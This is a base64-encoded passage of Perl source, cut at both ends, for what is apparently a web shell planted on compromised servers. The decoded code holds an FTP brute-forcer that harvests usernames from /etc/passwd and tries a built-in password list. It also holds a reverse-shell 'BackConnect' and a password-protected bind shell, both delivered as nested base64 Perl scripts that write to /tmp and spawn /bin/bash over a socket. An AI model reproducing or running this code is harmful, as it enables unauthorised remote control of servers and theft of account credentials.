9PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIEZpbGVPcGVuKCQpew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJbXkgJGJpbmFyeSA9IHNoaWZ0Ow0KCW15ICRyZXN1bHQgPSAiIjsNCglteSAkbiA9ICIiOw0KCWlmKC1mICRmaWxlKXsNCgkJaWYob3BlbihGSUxFLCRmaWxlKSl7DQoJCQlpZigkYmluYXJ5KXsNCgkJCQliaW5tb2RlIEZJTEU7DQoJCQl9DQoJCQl3aGlsZSAoKCRuID0gcmVhZCBGSUxFLCAkZGF0YSwgMTAyNCkgIT0gMCkgew0KCQkJCSRyZXN1bHQgLj0gJGRhdGE7DQoJCQl9DQoJCQljbG9zZShGSUxFKTsNCgkJfQ0KCX1lbHNlDQoJew0KCQlyZXR1cm4gIk5vdCdzIGEgRmlsZSEiOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCiMgU2F2ZSBGaWxlDQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpzdWIgU2F2ZUZpbGUoJCkNCnsNCglteSAkRGF0YT0gc2hpZnQgOw0KCW15ICRGaWxlPSBzaGlmdDsNCgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kRmlsZTsNCglpZihvcGVuKEZJTEUsICI+JEZpbGUiKSkNCgl7DQoJCWJpbm1vZGUgRklMRTsNCgkJcHJpbnQgRklMRSAkRGF0YTsNCgkJY2xvc2UgRklMRTsNCgkJcmV0dXJuIDE7DQoJfWVsc2UNCgl7DQoJCXJldHVybiAwOw0KCX0NCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQnJ1dGUgRm9yY2VyIEZvcm0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCcnV0ZUZvcmNlckZvcm0NCnsNCglteSAkcmVzdWx0PSIiOw0KCSRyZXN1bHQgLj0gPDxFTkQ7DQoNCjx0YWJsZT4NCg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjPGJyPg0KU2ltcGxlIEZUUCBicnV0ZSBmb3JjZXI8YnI+DQpOb3RlOiBPbmx5IHNjYW4gZnJvbSAxIHRvIDMgdXNlciA6LVM8YnI+DQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYnJ1dGVmb3JjZXIiLz4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPlVzZXI6PGJyPjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InVzZXIiPg0KRU5EDQpjaG9wKCRyZXN1bHQgLj0gYGxlc3MgL2V0Yy9wYXNzd2QgfCBjdXQgLWQ6IC1mMWApOw0KJHJlc3VsdCAuPSA8PCdFTkQnOw0KPC90ZXh0YXJlYT48L3RkPg0KPHRkPg0KDQpQYXNzOjxicj4NCjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InBhc3MiPjEyM3Bhc3MNCjEyMyFAIw0KMTIzYWRtaW4NCjEyM2FiYw0KMTIzNDU2YWRtaW4NCjEyMzQ1NTQzMjENCjEyMzQ0MzIxDQpwYXNzMTIzDQphZG1pbg0KYWRtaW5jcA0KYWRtaW5pc3RyYXRvcg0KbWF0a2hhdQ0KcGFzc2FkbWluDQpwQHNzd29yZA0KcEBzc3cwcmQNCnBhc3N3b3JkDQoxMjM0NTYNCjEyMzQ1NjcNCjEyMzQ1Njc4DQoxMjM0NTY3ODkNCjEyMzQ1Njc4OTANCjExMTExMQ0KMDAwMDAwDQoyMjIyMjINCjMzMzMzMw0KNDQ0NDQ0DQo1NTU1NTUNCjY2NjY2Ng0KNzc3Nzc3DQo4ODg4ODgNCjk5OTk5OQ0KMTIzMTIzDQoyMzQyMzQNCjM0NTM0NQ0KNDU2NDU2DQo1Njc1NjcNCjY3ODY3OA0KNzg5Nzg5DQoxMjMzMjENCjQ1NjY1NA0KNjU0MzIxDQo3NjU0MzIxDQo4NzY1NDMyMQ0KOTg3NjU0MzIxDQowOTg3NjU0MzIxDQphZG1pbjEyMw0KYWRtaW4xMjM0NTYNCmFiY2RlZg0KYWJjYWJjDQohQCMhQCMNCiFAIyQlXg0KIUAjJCVeJiooDQohQCMkJCNAIQ0KYWJjMTIzDQphbmh5ZXVlbQ0KaWxvdmV5b3U8L3RleHRhcmVhPg0KPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+DQpTbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj4NCg0KPG9wdGlvbj4wPC9vcHRpb24+DQo8b3B0aW9uPjE8L29wdGlvbj4NCjxvcHRpb24+Mjwvb3B0aW9uPg0KDQo8b3B0aW9uPjM8L29wdGlvbj4NCjwvc2VsZWN0PiANCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCcnV0ZSBGb3JjZXIiLz48L3RkPjwvdHI+DQo8L2Zvcm0+DQo8L3RhYmxlPg0KRU5EDQpyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQnJ1dGUgRm9yY2VyDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQnJ1dGVGb3JjZXINCnsNCglteSAkcmVzdWx0PSIiOw0KCSRTZXJ2ZXI9JEVOVnsnU0VSVkVSX0FERFInfTsNCglpZigkaW57J3VzZXInfSBlcSAiIikNCgl7DQoJCSRyZXN1bHQgLj0gJkJydXRlRm9yY2VyRm9ybTsNCgl9ZWxzZQ0KCXsNCgkJdXNlIE5ldDo6RlRQOyANCgkJQHVzZXI9IHNwbGl0KC9cbi8sICRpbnsndXNlcid9KTsNCgkJQHBhc3M9IHNwbGl0KC9cbi8sICRpbnsncGFzcyd9KTsNCgkJY2hvbXAoQHVzZXIpOw0KCQljaG9tcChAcGFzcyk7DQoJCSRyZXN1bHQgLj0gIjxicj48YnI+WytdIFRyeWluZyBicnV0ZSAkU2VydmVyTmFtZTxicj49PT09PT09PT09PT09PT09PT09PT4+Pj4+Pj4+Pj4+Pjw8PDw8PDw8PDw9PT09PT09PT09PT09PT09PT09PTxicj48YnI+XG4iOw0KCQlmb3JlYWNoICR1c2VybmFtZSAoQHVzZXIpDQoJCXsNCgkJCWlmKCR1c2VybmFtZSBuZSAiIikNCgkJCXsNCgkJCQlmb3JlYWNoICRwYXNzd29yZCAoQHBhc3MpDQoJCQkJew0KCQkJCQkkZnRwID0gTmV0OjpGVFAtPm5ldygkU2VydmVyKSBvciBkaWUgIkNvdWxkIG5vdCBjb25uZWN0IHRvICRTZXJ2ZXJOYW1lXG4iOyANCgkJCQkJaWYoJGZ0cC0+bG9naW4oIiR1c2VybmFtZSIsIiRwYXNzd29yZCIpKQ0KCQkJCQl7DQoJCQkJCQkkcmVzdWx0IC49ICI8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0nZnRwOi8vJHVzZXJuYW1lOiRwYXNzd29yZFxAJFNlcnZlcic+WytdIGZ0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXI8L2E+PGJyPlxuIjsNCgkJCQkJCSRmdHAtPnF1aXQoKTsNCgkJCQkJCWJyZWFrOw0KCQkJCQl9DQoJCQkJCWlmKCRpbnsnc2xlZXAnfSBuZSAiMCIpDQoJCQkJCXsNCgkJCQkJCXNsZWVwKGludCgkaW57J3NsZWVwJ30pICogMTAwMCk7DQoJCQkJCX0NCgkJCQkJJGZ0cC0+cXVpdCgpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCYWNrY29ubmVjdCBGb3JtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmFja0JpbmRGb3JtDQp7DQoJcmV0dXJuIDw8RU5EOw0KCTxicj48YnI+DQoNCgk8dGFibGU+DQoJPHRyPg0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPg0KCTx0ZD4gSG9zdDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjIwIiBuYW1lPSJjbGllbnRhZGRyIiB2YWx1ZT0iJEVOVnsnUkVNT1RFX0FERFInfSI+DQoJIFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI2IiBuYW1lPSJjbGllbnRwb3J0IiB2YWx1ZT0iODAiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiYScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+PC90ZD4NCg0KCTx0ZD48aW5wdXQgbmFtZT0icyIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJDb25uZWN0Ij48L3RkPg0KCTwvZm9ybT4NCgk8L3RyPg0KCTx0cj4NCgk8dGQgY29sc3Bhbj0zPjxmb250IGNvbG9yPSNGRkZGRkY+WytdIENsaWVudCBsaXN0ZW4gYmVmb3JlIGNvbm5lY3QgYmFjayENCgk8YnI+WytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E+DQoJPGJyPlsrXSBDbGllbnQgbGlzdGVuIHdpdGggY29tbWFuZDogPHJ1bj5uYyAtdnYgLWwgLXAgPHNwYW4gaWQ9ImJhIj44MDwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4NCg0KCTwvdHI+DQoJPC90YWJsZT4NCg0KCTxicj48YnI+DQoJPHRhYmxlPg0KCTx0cj4NCgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCgk8dGQ+QmluZCBQb3J0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+DQoNCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+DQoNCgkgUGFzc3dvcmQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxMiIgbmFtZT0iYmluZHBhc3MiIHZhbHVlPSJ2aW5ha2lkIj48L3RkPg0KCTx0ZD48aW5wdXQgbmFtZT0icyIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJCaW5kIj48L3RkPg0KCTwvZm9ybT4NCgk8L3RyPg0KCTx0cj4NCgk8dGQgY29sc3Bhbj0zPjxmb250IGNvbG9yPSNGRkZGRkY+WytdIFRlc3RpbmcgLi4uLg0KCTxicj5bK10gVHJ5IGNvbW1hbmQ6IDxydW4+bmMgJEVOVnsnU0VSVkVSX0FERFInfSA8c3BhbiBpZD0iYmkiPjE0MTI8L3NwYW4+PC9ydW4+PC9mb250PjwvdGQ+DQoNCgk8L3RyPg0KCTwvdGFibGU+PGJyPg0KRU5EDQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJhY2tjb25uZWN0IHVzZSBwZXJsDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmFja0JpbmQNCnsNCgl1c2UgU29ja2V0OwkNCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7DQoJJGJpbmRwZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkVGU1IwTTlRRUZTUjFZN0RRb2tjRzl5ZEFrOUlDUkJVa2RXV3pCZE93MEtKSEJ5YjNSdkNUMGdaMlYwY0hKdmRHOWllVzVoYldVb0ozUmpjQ2NwT3cwS0pGTm9aV3hzQ1QwZ0lpOWlhVzR2WW1GemFDSTdEUXB6YjJOclpYUW9VMFZTVmtWU0xDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLVzl5SUdScFpTQWljMjlqYTJWME9pUWhJanNOQ25ObGRITnZZMnR2Y0hRb1UwVlNWa1ZTTENCVFQweGZVMDlEUzBWVUxDQlRUMTlTUlZWVFJVRkVSRklzSUhCaFkyc29JbXdpTENBeEtTbHZjaUJrYVdVZ0luTmxkSE52WTJ0dmNIUTZJQ1FoSWpzTkNtSnBibVFvVTBWU1ZrVlNMQ0J6YjJOcllXUmtjbDlwYmlna2NHOXlkQ3dnU1U1QlJFUlNYMEZPV1NrcGIzSWdaR2xsSUNKaWFXNWtPaUFrSVNJN0RRcHNhWE4wWlc0b1UwVlNWa1ZTTENCVFQwMUJXRU5QVGs0cENRbHZjaUJrYVdVZ0lteHBjM1JsYmpvZ0pDRWlPdzBLWm05eUtEc2dKSEJoWkdSeUlEMGdZV05qWlhCMEtFTk1TVVZPVkN3Z1UwVlNWa1ZTS1RzZ1kyeHZjMlVnUTB4SlJVNVVLUTBLZXcwS0NXOXdaVzRvVTFSRVNVNHNJQ0krSmtOTVNVVk9WQ0lwT3cwS0NXOXdaVzRvVTFSRVQxVlVMQ0FpUGlaRFRFbEZUbFFpS1RzTkNnbHZjR1Z1S0ZOVVJFVlNVaXdnSWo0bVEweEpSVTVVSWlrN0RRb0pjM2x6ZEdWdEtDSjFibk5sZENCSVNWTlVSa2xNUlRzZ2RXNXpaWFFnVTBGV1JVaEpVMVFnTzJWamFHOGdKMXNyWFNCVGVYTjBaVzFwYm1adk9pQW5PeUIxYm1GdFpTQXRZVHRsWTJodk8yVmphRzhnSjFzclhTQlZjMlZ5YVc1bWJ6b2dKenNnYVdRN1pXTm9ienRsWTJodklDZGJLMTBnUkdseVpXTjBiM0o1T2lBbk95QndkMlE3WldOb2J6c2daV05vYnlBbld5dGRJRk5vWld4c09pQW5PeVJUYUdWc2JDSXBPdzBLQ1dOc2IzTmxLRk5VUkVsT0tUc05DZ2xqYkc5elpTaFRWRVJQVlZRcE93MEtDV05zYjNObEtGTlVSRVZTVWlrN0RRcDlEUW89IjsNCg0KCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307DQoJJENsaWVudFBvcnQgPSBpbnQoJGlueydjbGllbnRwb3J0J30pOw0KCWlmKCRDbGllbnRQb3J0IGVxIDApDQoJew0KCQlyZXR1cm4gJkJhY2tCaW5kRm9ybTsNCgl9ZWxzaWYoISRDbGllbnRBZGRyIGVxICIiKQ0KCXsNCgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmFja3BlcmwpOw0KCQlpZigtdyAiL3RtcC8iKQ0KCQl7DQoJCQkkRmlsZT0iL3RtcC9iYWNrY29ubmVjdC5wbCI7CQ0KCQl9ZWxzZQ0KCQl7DQoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmFja2Nvbm5lY3QucGwiOw0KCQl9DQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOw0KCQlwcmludCBGSUxFICREYXRhOw0KCQljbG9zZSBGSUxFOw0KCQlzeXN0ZW0oInBlcmwgJEZpbGUgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsNCgkJdW5saW5rKCRGaWxlKTsNCgkJZXhpdCAwOw0KCX1lbHNlDQoJew0KCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiaW5kcGVybCk7DQoJCWlmKC13ICIvdG1wIikNCgkJew0KCQkJJEZpbGU9Ii90bXAvYmluZHBvcnQucGwiOwkNCgkJfWVsc2UNCgkJew0KCQkJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuImJpbmRwb3J0LnBsIjsNCgkJfQ0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsNCgkJcHJpbnQgRklMRSAkRGF0YTsNCgkJY2xvc2UgRklMRTsNCgkJc3lzdGVtKCJwZXJsICRGaWxlICRDbGllbnRQb3J0Iik7DQoJCXVubGluaygkRmlsZSk7DQoJCWV4aXQgMDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojICBBcnJheSBMaXN0IERpcmVjdG9yeQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJtRGlyKCQpIA0Kew0KCW15ICRkaXIgPSBzaGlmdDsNCglpZihvcGVuZGlyKERJUiwkZGlyKSkNCgl7DQoJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQ0KCQl7DQoJCQlpZigoJGZpbGUgbmUgIi4iKSAmJiAoJGZpbGUgbmUgIi4uIikpDQoJCQ